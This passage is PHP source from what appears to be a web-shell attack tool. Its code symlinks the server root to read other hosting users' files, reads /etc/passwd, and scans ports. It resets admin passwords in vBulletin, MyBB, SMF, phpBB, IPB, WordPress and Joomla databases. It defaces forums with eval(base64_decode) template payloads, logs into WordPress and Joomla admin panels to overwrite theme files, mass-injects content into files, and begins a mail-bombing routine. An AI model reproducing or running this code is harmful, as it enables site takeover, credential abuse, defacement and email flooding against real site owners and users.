		echo "<table align=center border=1 style=\'width:60%;border-color:#333333;\'><tr align =center><td align=center><font size=3 >S. No.</font></td><td align=center><font size=3 >Domains</font></td><td align=center><font size=3 >Users</font></td><td align=center><font size=3 >Symlink</font></td><td align=center><font size=3 >Information</font></td></tr>";
				
		$dcount = 1;
		foreach($d0mains as $d0main)
		{
			if(eregi("zone",$d0main))
			{
				preg_match_all(\'#zone "(.*)"#\', $d0main, $domains);
				flush();
					
				if(strlen(trim($domains[1][0])) > 2)
				{ 
					$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
						
					echo "<tr align=center><td><font class=txt>" . $dcount . "</font></td><td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td><td><font class=txt>".$user[\'name\']."</font></td><td><a href=".$url."dhanush/root/home/".$user[\'name\']."/public_html target=\'_blank\'><font class=txt>Symlink</font></a></td><td><font class=txt><a href=?info=".$domains[1][0]." target=_blank>info</a></font></td></tr>"; flush();
					$dcount++;
				}
			}
			
		}
		echo "</table>";
	}
	else
	{
		if($os == "Linux")
		{
			?>
			<div style="float:left;position:fixed;">
			<form>
			<table cellpadding="9">
				<tr>
					<th colspan="2">Get User Name</th>
				</tr>
				<tr>
					<td>Enter Website Name :</td>
					<td><input type="text" name="sitename" value="sitename.com" class="sbox"></td>
				</tr>
				<tr>
					<td align="center" colspan="2"><input type="button" onClick="getname(sitename.value)" value="   Get IT  " class="but"></td>
				</tr>
				<tr>
					<td colspan=2 align=center><div style="width:250px;" id="showsite"></div></td>
				</tr>
			</table>
			</form>
			</div>
			<?php
			$TEST=@file(\'/etc/passwd\');
			if ($TEST) 
			{
				@mkdir("dhanush",0777);
				@chdir("dhanush");
				execmd("ln -s /root");
				
$file3 = \'Options all 
				 DirectoryIndex Sux.html 
				 AddType text/plain .php 
				 AddHandler server-parsed .php 
				  AddType text/plain .html 
				 AddHandler txt .html 
				 Require None 
				 Satisfy Any        
				\';
				$fp3 = fopen(\'.htaccess\',\'w\');
				$fw3 = fwrite($fp3,$file3);
				@fclose($fp3);
				
				echo "<table align=center border=1 style=\'width:40%;border-color:#333333;\'><tr><td align=center><font size=4 >S. No.</font></td><td align=center><font size=4 >Users</font></td><td align=center><font size=3 >Symlink</font></td></tr>";
						

				$dcount = 1;
				$file = fopen("/etc/passwd", "r");
				//Output a line of the file until the end is reached
				while(!feof($file))
				{
					$s = fgets($file);
					$matches = array();
					$t = preg_match(\'/\/(.*?)\:\//s\', $s, $matches);
					$matches = str_replace("home/","",$matches[1]);
					if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
						continue;
					echo "<tr><td align=center><font size=3 class=txt>" . $dcount . "</td><td align=center><font size=3 class=txt>" . $matches . "</td>";
					echo "<td align=center><font size=3 class=txt><a href=".$url."dhanush/root/home/" . $matches . "/public_html target=\'_blank\'>Symlink</a></td></tr>";
					$dcount++;
				}
				fclose($file);
						
				echo "</table>";
			}
			else
			{
				@mkdir("dhanush",0777);
				@chdir("dhanush");
				execmd("ln -s / root");
				$file3 = \'Options all 
				 DirectoryIndex Sux.html 
				 AddType text/plain .php 
				 AddHandler server-parsed .php 
				  AddType text/plain .html 
				 AddHandler txt .html 
				 Require None 
				 Satisfy Any        
				\';
				$fp3 = fopen(\'.htaccess\',\'w\');
				$fw3 = fwrite($fp3,$file3);
				@fclose($fp3);
				
				echo "<table align=center border=1 style=\'width:40%;border-color:#333333;\'><tr><td align=center><font size=4 >S. No.</font></td><td align=center><font size=4 >Users</font></td><td align=center><font size=3 >Symlink</font></td></tr>";
						
				$temp = "";
				$val1 = 0;
				$val2 = 1000;
				for(;$val1 <= $val2;$val1++) 
				{
					$uid = @posix_getpwuid($val1);
					if ($uid)
					 $temp .= join(\':\',$uid)."
";
				 }
				 echo \'<br/>\';
				 $temp = trim($temp);
				 
				 $file5 = fopen("test.txt","w");
				 fputs($file5,$temp);
				 fclose($file5);
					 
				 $dcount = 1;
				 $file = fopen("test.txt", "r");
				 while(!feof($file))
				 {
					$s = fgets($file);
					$matches = array();
					$t = preg_match(\'/\/(.*?)\:\//s\', $s, $matches);
					$matches = str_replace("home/","",$matches[1]);
					if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
						continue;
					echo "<tr><td align=center><font size=3 class=txt>" . $dcount . "</td><td align=center><font size=3 class=txt>" . $matches . "</td>";
					echo "<td align=center><font size=3 class=txt><a href=".$url."dhanush/root/home/" . $matches . "/public_html target=\'_blank\'>Symlink</a></td></tr>";
					$dcount++;
				 }
					fclose($file);
					echo "</table>";
					unlink("test.txt");
			}
		}
		else
			echo "<center><font size=4 >Cannot create Symlink</font></center>";
	}
}
else if(isset($_GET[\'host\']) && isset($_GET[\'protocol\']))
{
	echo "Open Ports: ";
	$host = $_GET[\'host\'];
	$proto = $_GET[\'protocol\'];
	$myports = array("21","22","23","25","59","80","113","135","445","1025","5000","5900","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018");
	for($current = 0; $current <= 23; $current++)
	{
		$currents = $myports[$current];
		$service = getservbyport($currents, $proto);
		// Try to connect to port
		$result = fsockopen($host, $currents, $errno, $errstr, 1);
		// Show results
		if($result)
			echo "<font class=txt>$currents, </font>";
	}
}
else if(isset($_REQUEST[\'forumpass\']))
{
		$localhost =  $_GET[\'f1\']; 
		$database =  $_GET[\'f2\']; 
		$username =  $_GET[\'f3\']; 
		$password =  $_GET[\'f4\']; 
		$prefix    =  $_GET[\'prefix\'];
		$newpass = $_GET[\'newpass\'];
		$uid = $_GET[\'uid\'];
		
		if($_GET[\'forums\'] == "vb")
		{	
			$newpass = $_GET[\'newipbpass\'];
			$uid = $_GET[\'ipbuid\'];
			$con = mysql_connect($localhost,$username,$password);
			$db = mysql_select_db($database,$con);
			$salt = "eghjghrtd";
			$newpassword = md5(md5($newpass) . $salt);
			if($prefix == "" || $prefix == null)
				$sql = mysql_query("update user set password = \'$newpassword\', salt = \'$salt\' where userid = \'$uid\'");
			else
				$sql = mysql_query("update ".$prefix."user set password = \'$newpassword\', salt = \'$salt\' where userid = \'$uid\'");
			if($sql)
			{
				mysql_close($con);
				echo "<font class=txt>Password Changed Successfully</font>";
			}
			else
				echo "Cannot Change Password";
		}
		else if($_GET[\'forums\'] == "mybb")
		{	
			$newpass = $_GET[\'newipbpass\'];
			$uid = $_GET[\'ipbuid\'];
			$con = mysql_connect($localhost,$username,$password);
			$db = mysql_select_db($database,$con);
			$salt = "jeghj";
			$newpassword = md5(md5($salt).md5($newpass));
			if($prefix == "" || $prefix == null)
				$sql = mysql_query("update mybb_users set password = \'$newpassword\', salt = \'$salt\' where uid = \'$uid\'");
			else
				$sql = mysql_query("update ".$prefix."users set password = \'$newpassword\', salt = \'$salt\' where uid = \'$uid\'");
			if($sql)
			{
				mysql_close($con);
				echo "<font class=txt>Password Changed Successfully</font>";
			}
			else
				echo "Cannot Change Password";
		}
		else if($_GET[\'forums\'] == "smf")
		{	
			$newpass = $_GET[\'newipbpass\'];
			$uid = $_GET[\'ipbuid\'];
			$con = mysql_connect($localhost,$username,$password);
			$db = mysql_select_db($database,$con);
							
			if($prefix == "" || $prefix == null)
			{
				$result = mysql_query("select member_name from smf_members where id_member = $uid");
				$row = mysql_fetch_array($result);
				$membername = $row[\'member_name\'];
				$newpassword = sha1(strtolower($membername).$newpass);
				$sql = mysql_query("update smf_members set passwd = \'$newpassword\' where id_member = \'$uid\'");
			}
			else

			{
				$result = mysql_query("select member_name from ".$prefix."members where id_member = $uid");
				$row = mysql_fetch_array($result);
				$membername = $row[\'member_name\'];
				$newpassword = sha1(strtolower($membername).$newpass);
				$sql = mysql_query("update ".$prefix."members set passwd = \'$newpassword\' where id_member = \'$uid\'");
			}
			if($sql)
			{
				mysql_close($con);
				echo "<font class=txt>Password Changed Successfully</font>";
			}
			else
				echo "Cannot Change Password";
		}
		else if($_GET[\'forums\'] == "phpbb")
		{	
			$newpass = $_POST[\'newipbpass\'];
			$uid = $_POST[\'ipbuid\'];
			$con = mysql_connect($localhost,$username,$password);
			$db = mysql_select_db($database,$con);
			
			$newpassword = md5($newpass);
			if(empty($prefix) || $prefix == null)
				$sql = mysql_query("update phpb_users set user_password = \'$newpassword\' where user_id = \'$uid\'");
			else
				$sql = mysql_query("update ".$prefix."users set user_password = \'$newpassword\' where user_id = \'$uid\'");
			if($sql)
			{
				mysql_close($con);
				echo "<font class=txt>Password Changed Successfully</font>";
			}
			else
				echo "Cannot Change Password";
		}
		else if($_GET[\'forums\'] == "ipb")
		{
			$newpass = $_POST[\'newipbpass\'];
			$uid = $_POST[\'ipbuid\'];
			$con = mysql_connect($localhost,$username,$password);
			$db = mysql_select_db($database,$con);
			$salt = "eghj";
			$newpassword = md5(md5($salt).md5($newpass));
			if($prefix == "" || $prefix == null)
				$sql = mysql_query("update members set members_pass_hash = \'$newpassword\', members_pass_salt = \'$salt\' where member_id = \'$uid\'");
			else
				$sql = mysql_query("update ".$prefix."members set members_pass_hash = \'$newpassword\', members_pass_salt = \'$salt\' where member_id = \'$uid\'");
			if($sql)
			{
				mysql_close($con);
				echo "<font class=txt>Password Changed Successfully</font>";
			}
			else
				echo "Cannot Change Password";
		}
		else if($_GET[\'forums\'] == "wp")
		{	
			$uname = $_GET[\'uname\'];
			$con = mysql_connect($localhost,$username,$password);
			$db = mysql_select_db($database,$con);

			$newpassword = md5($newpass);
			$sql = mysql_query("update ".$prefix."users set user_pass = \'$newpassword\', user_login = \'$uname\'");
			if($sql)
			{
				mysql_close($con);
				echo "<font class=txt>Password Changed Successfully</font>";
			}
			else
				echo "Cannot Change Password";
		}
		else if($_GET[\'forums\'] == "joomla")
		{	
			$newjoomlapass = $_GET[\'newjoomlapass\'];
			$joomlauname = $_GET[\'username\'];
			$con = mysql_connect($localhost,$username,$password);
			$db = mysql_select_db($database,$con);

			$newpassword = md5($newjoomlapass);
			$sql = mysql_query("update ".$prefix."users set password = \'$newpassword\', username = \'$joomlauname\'");
			if($sql)
			{
				mysql_close($con);
				echo "<font class=txt>Password Changed Successfully</font>";
			}
			else
				echo "Cannot Change Password";
		}
}
else if(isset($_POST[\'forumdeface\']))
{
	$localhost =  $_POST[\'f1\']; 
	$database =  $_POST[\'f2\']; 
	$username =  $_POST[\'f3\']; 
	$password =  $_POST[\'f4\']; 
	$index    =  $_POST[\'index\'];
	$prefix    =  $_POST[\'tableprefix\'];
	
	if($_POST[\'forumdeface\'] == "vb")
	{
		$con =@ mysql_connect($localhost,$username,$password); 
		$db =@ mysql_select_db($database,$con);  
		$index=str_replace(\'"\',\'\"\',$index); 
		$attack  = "{\${eval(base64_decode(\'"; 
		$attack .= base64_encode("echo \"$index\";"); 
		$attack .= "\'))}}{\${exit()}}</textarea>"; 
		if($prefix == "" || $prefix == null)
				$query = "UPDATE template SET template = \'$attack\'"; 
		else
			$query = "UPDATE ".$prefix."template SET template = \'$attack\'"; 
		$result =@ mysql_query($query,$con); 
		if($result)
			echo "<center><font class=txt size=4><blink>Vbulletin Forum Defaced Successfully</blink></font></center>";
		else
			echo "<center><font  size=4><blink>Cannot Deface Vbulletin Forum</blink></font></center>";
	}
	else if($_POST[\'forumdeface\'] == "mybb")
	{
		$con =@ mysql_connect($localhost,$username,$password); 
		$db =@ mysql_select_db($database,$con);  
		$attack  = "{\${eval(base64_decode(\'"; 
		$attack .= base64_encode("echo \"$index\";"); 
		$attack .= "\'))}}{\${exit()}}</textarea>"; 
		$attack  = str_replace(\'"\',"\\'",$attack);
			
		if($prefix == "" || $prefix == null)
			$query = "UPDATE mybb_templates SET template = \'$attack\'"; 
		else
		$query = "UPDATE ".$prefix."templates SET template = \'$attack\'"; 
		$result =@ mysql_query($query,$con);
		if($result)
			echo "<center><font class=txt size=4><blink>Mybb Forum Defaced Successfully</blink></font></center>";
		else
			echo "<center><font  size=4><blink>Cannot Deface Mybb Forum</blink></font></center>";
	}
	else if($_POST[\'forumdeface\'] == "smf")
	{
		$head    =  $_POST[\'head\'];
		$catid    =  $_POST[\'f5\'];
						
		$con =@ mysql_connect($localhost,$username,$password); 
		$db =@ mysql_select_db($database,$con);  
		if($prefix == "" || $prefix == null)
			$query = "UPDATE boards SET name=\'$head\', description=\'$index\' WHERE id_cat=\'$catid\'"; 
		else
			$query = "UPDATE ".$prefix."boards SET name=\'$head\', description=\'$index\' WHERE id_cat=\'$catid\'"; 
		$result =@ mysql_query($query,$con);
		if($result)
			echo "<center><font class=txt size=4><blink>SMF Forum Index Changed Successfully</blink></font></center>";
		else
			echo "<center><font  size=4><blink>Cannot Deface SMF Forum</blink></font></center>";
	}
	else if($_POST[\'forumdeface\'] == "ipb")
	{
		$head    =  $_POST[\'head\'];
		$catid    =  $_POST[\'f5\'];
							
		$IPB = "forums";
		$con =@ mysql_connect($localhost,$username,$password); 
		$db =@ mysql_select_db($database,$con);
		if($prefix == "" || $prefix == null)
			$result =@mysql_query($query = "UPDATE $IPB SET name = \'$head\', description = \'$index\' where id = \'$catid\'"); 
		else
			$result =@mysql_query($query = "UPDATE $prefix.$IPB SET name = \'$head\', description = \'$index\' where id = \'$catid\'");
		if($result)
			echo "<center><font class=txt size=4><blink>Forum Defaced Successfully</blink></font></center>";
		else

			echo "<center><font  size=4><blink>Cannot Deface Forum</blink></font></center>";
	}
	else if($_POST[\'forumdeface\'] == "wp")
	{
		$site_url = $_POST[\'siteurl\'];
		$index = urlencode($index);
		$con =@ mysql_connect($localhost,$username,$password); 
		$db =@ mysql_select_db($database,$con);
		$req1 = mysql_query("UPDATE `".$prefix."users` SET `user_login` = \'admin\',`user_pass` = \'$1$42REgxSR$.tLV4PSbQmCKsisyCSyhq.\'");
		echo("<br>[+] Changing admin password to 123456789<br>");	
		
		if($req1) 
		{
			$req = mysql_query("SELECT * from  `".$prefix."options` WHERE option_name=\'home\'");
			$data = mysql_fetch_array($req);
			if(empty($site_url))
				$site_url=$data["option_value"];
			$output .= "Site : ".$site_url."<br>";
	
			$req = mysql_query("SELECT * from  `".$prefix."options` WHERE option_name=\'template\'");
			$data = mysql_fetch_array($req);
			$template = $data["option_value"];
	
			$req = mysql_query("SELECT * from  `".$prefix."options` WHERE option_name=\'current_theme\'");
			$data = mysql_fetch_array($req);
			$current_theme = $data["option_value"];
	
			$useragent="Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727)";
			$url2=$site_url."/wp-login.php";

			$ch = curl_init();
			curl_setopt($ch, CURLOPT_URL, $url2);
			curl_setopt($ch, CURLOPT_POST, 1);
			curl_setopt($ch, CURLOPT_POSTFIELDS,"log=admin&pwd=123456789&rememberme=forever&wp-submit=Log In&testcookie=1");
			curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
			curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
			curl_setopt($ch, CURLOPT_HEADER, 0);
			curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
			curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
			curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
			curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
			$buffer = curl_exec($ch);

			$pos = strpos($buffer,"action=logout");
			if($pos === false) {
				$output.= "[-] Successful Login<br />";
			} else {
				$output.= "[+] Successful Login<br />";
			}

			$url2=$site_url.\'/wp-admin/theme-editor.php?file=index.php&theme=\'.urlencode($template);
			curl_setopt($ch, CURLOPT_URL, $url2);
			curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
			curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
			curl_setopt($ch, CURLOPT_HEADER, 0);
			curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
			curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
			curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
			$buffer0 = curl_exec($ch);

			$_wpnonce = entre2v2($buffer0,\'<input type="hidden" id="_wpnonce" name="_wpnonce" value="\',\'" />\');
			$_file = entre2v2($buffer0,\'<input type="hidden" name="file" value="\',\'" />\');

			if(substr_count($_file,"index.php") != 0)
			{
				$url2=$site_url."/wp-admin/theme-editor.php";
				curl_setopt($ch, CURLOPT_URL, $url2);
				curl_setopt($ch, CURLOPT_POST, 1);
				curl_setopt($ch, CURLOPT_POSTFIELDS,"newcontent=".$index."&action=update&file=".$_file."&_wpnonce=".$_wpnonce."&submit=Update File");
				curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
				curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
				curl_setopt($ch, CURLOPT_HEADER, 0);
				curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
				curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
				curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
				$buffer = curl_exec($ch);
				curl_close($ch);

				$pos = strpos($buffer,\'<div id="message" class="updated">\');
				$cond = 0;
				if($pos === false) {
					$output.= "<center><font  size=4><blink>Cannot Deface Wordpress</blink></font></center>";
				} else {
					$output.= "<center><font class=txt size=4><blink>Wordpress Defaced Successfully</blink></font></center>";
					$cond = 1;
				}
			}	
			else
			{
				$url2=$site_url.\'/wp-admin/theme-editor.php?file=/themes/\'.$template.\'/index.php&theme=\'.urlencode($current_theme).\'&dir=theme\';
				curl_setopt($ch, CURLOPT_URL, $url2);
				curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
				curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
				curl_setopt($ch, CURLOPT_HEADER, 0);
				curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
				curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
				curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
				$buffer0 = curl_exec($ch);
		
				$_wpnonce = entre2v2($buffer0,\'<input type="hidden" id="_wpnonce" name="_wpnonce" value="\',\'" />\');
				$_file = entre2v2($buffer0,\'<input type="hidden" name="file" value="\',\'" />\');
				
				
				$url2=$site_url."/wp-admin/theme-editor.php";
				curl_setopt($ch, CURLOPT_URL, $url2);
				curl_setopt($ch, CURLOPT_POST, 1);
				curl_setopt($ch, CURLOPT_POSTFIELDS,"newcontent=".$index."&action=update&file=".$_file."&_wpnonce=".$_wpnonce."&submit=Update File");
				curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
				curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
				curl_setopt($ch, CURLOPT_HEADER, 0);
				curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
				curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
				curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
				$buffer = curl_exec($ch);
				curl_close($ch);

				$pos = strpos($buffer,\'<div id="message" class="updated">\');
				$cond = 0;
				if($pos === false) {
					$output.= "<center><font  size=4><blink>Cannot Deface Wordpress</blink></font></center>";
				} else {
					$output.= "<center><font class=txt size=4><blink>Wordpress Defaced Successfully</blink></font></center>";
					$cond = 1;
				}
			}
    } else {
        $output.= "[-] DB Error<br />";
    }
	echo $output;
    global $base_path;
    unlink($base_path.\'COOKIE.txt\');
    }
	else if($_POST[\'forumdeface\'] == "joomla")
	{
		$site_url = $_POST[\'siteurl\'];
		$dbprefix = $_POST[\'tableprefix\'];
		$dbname =  $_POST[\'f2\']; 
		$h="<? echo(stripslashes(base64_decode(\'".urlencode(base64_encode(str_replace("\'","\'",($_POST[\'index\']))))."\'))); exit; ?>";
				
		$co=randomt();
					
		$link=mysql_connect($localhost,$username,$password) ;
		mysql_select_db($dbname,$link);
				
	    $tryChaningInfo = mysql_query("UPDATE ".$dbprefix."users SET username =\'admin\' , password = \'2a9336f7666f9f474b7a8f67b48de527:DiWqRBR1thTQa2SvBsDqsUENrKOmZtAX\'");
											 
		$req =mysql_query("SELECT * from  `".$dbprefix."extensions` ");
						 
		if ( $req )
		{
			$req =mysql_query("SELECT * from  `".$dbprefix."template_styles` WHERE client_id=\'0\' and home=\'1\'");
			$data = mysql_fetch_array($req);
			$template_name=$data["template"];
			
			$req =mysql_query("SELECT * from  `".$dbprefix."extensions` WHERE name=\'".$template_name."\'");
			 $data = mysql_fetch_array($req);
			$template_id=$data["extension_id"];
						
			$url2=$site_url."/index.php";
			
			$ch = curl_init();
			curl_setopt($ch, CURLOPT_URL, $url2);
			curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
			curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
			curl_setopt($ch, CURLOPT_HEADER, 1);
			curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
			curl_setopt($ch, CURLOPT_COOKIEJAR, $co); 
			curl_setopt($ch, CURLOPT_COOKIEFILE, $co); 
			
				
			$buffer = curl_exec($ch);
				
			$return=entre2v2($buffer ,\'<input type="hidden" name="return" value="\',\'"\');
			$hidden=entre2v2($buffer ,\'<input type="hidden" name="\',\'" value="1"\',4);
			
				
			$url2=$site_url."/index.php";
			$ch = curl_init();
			curl_setopt($ch, CURLOPT_URL, $url2);
			curl_setopt($ch, CURLOPT_POST, 1);
			curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&return=".$return."&".$hidden."=1");
			curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
			curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
			curl_setopt($ch, CURLOPT_HEADER, 0);
			curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
			curl_setopt($ch, CURLOPT_COOKIEJAR, $co); 
			curl_setopt($ch, CURLOPT_COOKIEFILE, $co); 
			$buffer = curl_exec($ch);
						
			$pos = strpos($buffer,"com_config");
			if($pos === false) 
			{
				echo("<br>[-] Login Error");
				exit;
			}
	
			$url2=$site_url."/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");
			$ch = curl_init();
			curl_setopt($ch, CURLOPT_URL, $url2);
			curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
			curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
			curl_setopt($ch, CURLOPT_HEADER, 0);
			curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
			curl_setopt($ch, CURLOPT_COOKIEJAR, $co); 

			curl_setopt($ch, CURLOPT_COOKIEFILE, $co); 
			$buffer = curl_exec($ch);
				
			$hidden2=entre2v2($buffer ,\'<input type="hidden" name="\',\'" value="1"\',2);
			if(!$hidden2) 
			{
				echo("<br>[-] index.php Not found in Theme Editor");
				exit;
			}
						
			$url2=$site_url."/index.php?option=com_templates&layout=edit";

			$ch = curl_init();
			curl_setopt($ch, CURLOPT_URL, $url2);
			curl_setopt($ch, CURLOPT_POST, 1);
			curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$h."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");
						
			curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
			curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
			curl_setopt($ch, CURLOPT_HEADER, 0);
			curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
			curl_setopt($ch, CURLOPT_COOKIEJAR, $co); 
			curl_setopt($ch, CURLOPT_COOKIEFILE, $co); 
			$buffer = curl_exec($ch);

			$pos = strpos($buffer,\'<dd class="message message">\');
			if($pos === false) 
			{
				echo("<center><font  size=4><blink>Cannot Deface Joomla</blink></font></center>");
			}
			else 
			{
				echo("<center><font class=txt size=4><blink>Joomla Defaced Successfully</blink></font></center>");
			}
		}
		else
		{
			$req =mysql_query("SELECT * from  `".$dbprefix."templates_menu` WHERE client_id=\'0\'");
			$data = mysql_fetch_array($req);
			$template_name=$data["template"];
				
			$url2=$site_url."/index.php";
			$ch = curl_init();
			curl_setopt($ch, CURLOPT_URL, $url2);
			curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
			curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
			curl_setopt($ch, CURLOPT_HEADER, 1);
			curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
			curl_setopt($ch, CURLOPT_COOKIEJAR, $co); 
			curl_setopt($ch, CURLOPT_COOKIEFILE, $co); 
			$buffer = curl_exec($ch);
						
			$hidden=entre2v2($buffer ,\'<input type="hidden" name="\',\'" value="1"\',3);
				
			$url2=$site_url."/index.php";
			$ch = curl_init();
			curl_setopt($ch, CURLOPT_URL, $url2);
			curl_setopt($ch, CURLOPT_POST, 1);
			curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&".$hidden."=1");
			curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
			curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
			curl_setopt($ch, CURLOPT_HEADER, 0);
			curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
			curl_setopt($ch, CURLOPT_COOKIEJAR, $co); 
			curl_setopt($ch, CURLOPT_COOKIEFILE, $co); 
			$buffer = curl_exec($ch);
						
			$pos = strpos($buffer,"com_config");
	
			if($pos === false) 
			{
				echo("<br>[-] Login Error");
				exit;
			}
										
			$url2=$site_url."/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;
			$ch = curl_init();
			curl_setopt($ch, CURLOPT_URL, $url2);
			curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
			curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
			curl_setopt($ch, CURLOPT_HEADER, 0);
			curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
			curl_setopt($ch, CURLOPT_COOKIEJAR, $co); 
			curl_setopt($ch, CURLOPT_COOKIEFILE, $co); 
			$buffer = curl_exec($ch);
						
			$hidden2=entre2v2($buffer ,\'<input type="hidden" name="\',\'" value="1"\',6);
				
			if(!$hidden2) 
			{
				echo("<br>[-] index.php Not found in Theme Editor");
			}

			$url2=$site_url."/index.php?option=com_templates&layout=edit";
			$ch = curl_init();
			curl_setopt($ch, CURLOPT_URL, $url2);
			curl_setopt($ch, CURLOPT_POST, 1);
			curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$h."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");
			curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
			curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
			curl_setopt($ch, CURLOPT_HEADER, 0);
			curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
			curl_setopt($ch, CURLOPT_COOKIEJAR, $co); 
			curl_setopt($ch, CURLOPT_COOKIEFILE, $co); 
			$buffer = curl_exec($ch);
						
			$pos = strpos($buffer,\'<dd class="message message fade">\');
			if($pos === false) 
			{
				echo("<center><font  size=4><blink>Cannot Deface Joomla</blink></font></center>");
				exit;
			}
			else 
			{
				echo("<center><font class=txt size=4><blink>Joomla Defaced Successfully</blink></font></center>");
			}
		}
	}
}
else if(isset($_POST[\'pathtomass\']) &&  $_POST[\'pathtomass\'] != \'\' &&  isset($_POST[\'filetype\']) &&  $_POST[\'filetype\'] != \'\' &&  isset($_POST[\'mode\']) &&  $_POST[\'mode\'] != \'\' && isset($_POST[\'injectthis\']) &&  $_POST[\'injectthis\'] != \'\')
{
    $filetype = $_POST[\'filetype\'];
    
    $mode = "a"; 
            
    if($_POST[\'mode\'] == \'Apender\')
         $mode = "a";
   
    if($_POST[\'mode\'] == \'Overwriter\')
         $mode = "w";
        
   	if (is_dir($_POST[\'pathtomass\'])) 
	{
		$lolinject = $_POST[\'injectthis\'];
		$mypath = $_POST[\'pathtomass\'] .$directorysperator. "*.".$filetype;
		if(substr($_POST[\'pathtomass\'], -1) == "\")
			$mypath = $_POST[\'pathtomass\'] . "*.".$filetype;
		foreach (glob($mypath) as $injectj00) 
		{
			if($injectj00 == getcwd().$_SERVER[\'SCRIPT_NAME\'])
				continue;
			$fp=fopen($injectj00,$mode);
			if (fputs($fp,$lolinject))
				echo \'<br><font class=txt size=3>\'.$injectj00.\' was injected<br></font>\';
			else
				echo \'failed to inject \'.$injectj00.\'<br>\';
		}
		$dirs = glob($_POST[\'pathtomass\'] . \'/*\' , GLOB_ONLYDIR);
		foreach ($dirs as $dir) 
		{
			injectdir($dir,$filetype,$mode,$lolinject);
		}
		echo "<center>".$mycount." files injected</center>";
	}
	else 
		echo \'<b>\'.$_POST[\'pathtomass\'].\' is not available!</b>\';
}
else if(isset($_POST[\'mailfunction\']))
{
	if($_POST[\'mailfunction\'] == "dobombing")
	{
		if(isset($_POST[\'to\']) && isset($_POST[\'subject\']) && isset($_POST[\'message\']) && isset($_POST[\'times\']) && $_POST[\'to\'] != \'\' && $_POST[\'subject\'] != \'\' && 			$_POST[\'message\'] != \'\' && $_POST[\'times\'] != \'\')
		{
			$times = $_POST[\'times\'];
			while($times--)
			{
				if(isset($_POST[\'padding\']))
				{
					$fromPadd = rand(0,9999);
					$subjectPadd = " -- ID : ".rand(0,9999999);
					$messagePadd = "

------------------------------
".rand(0,99999999);
					
				}
				$from = "[email protected]";
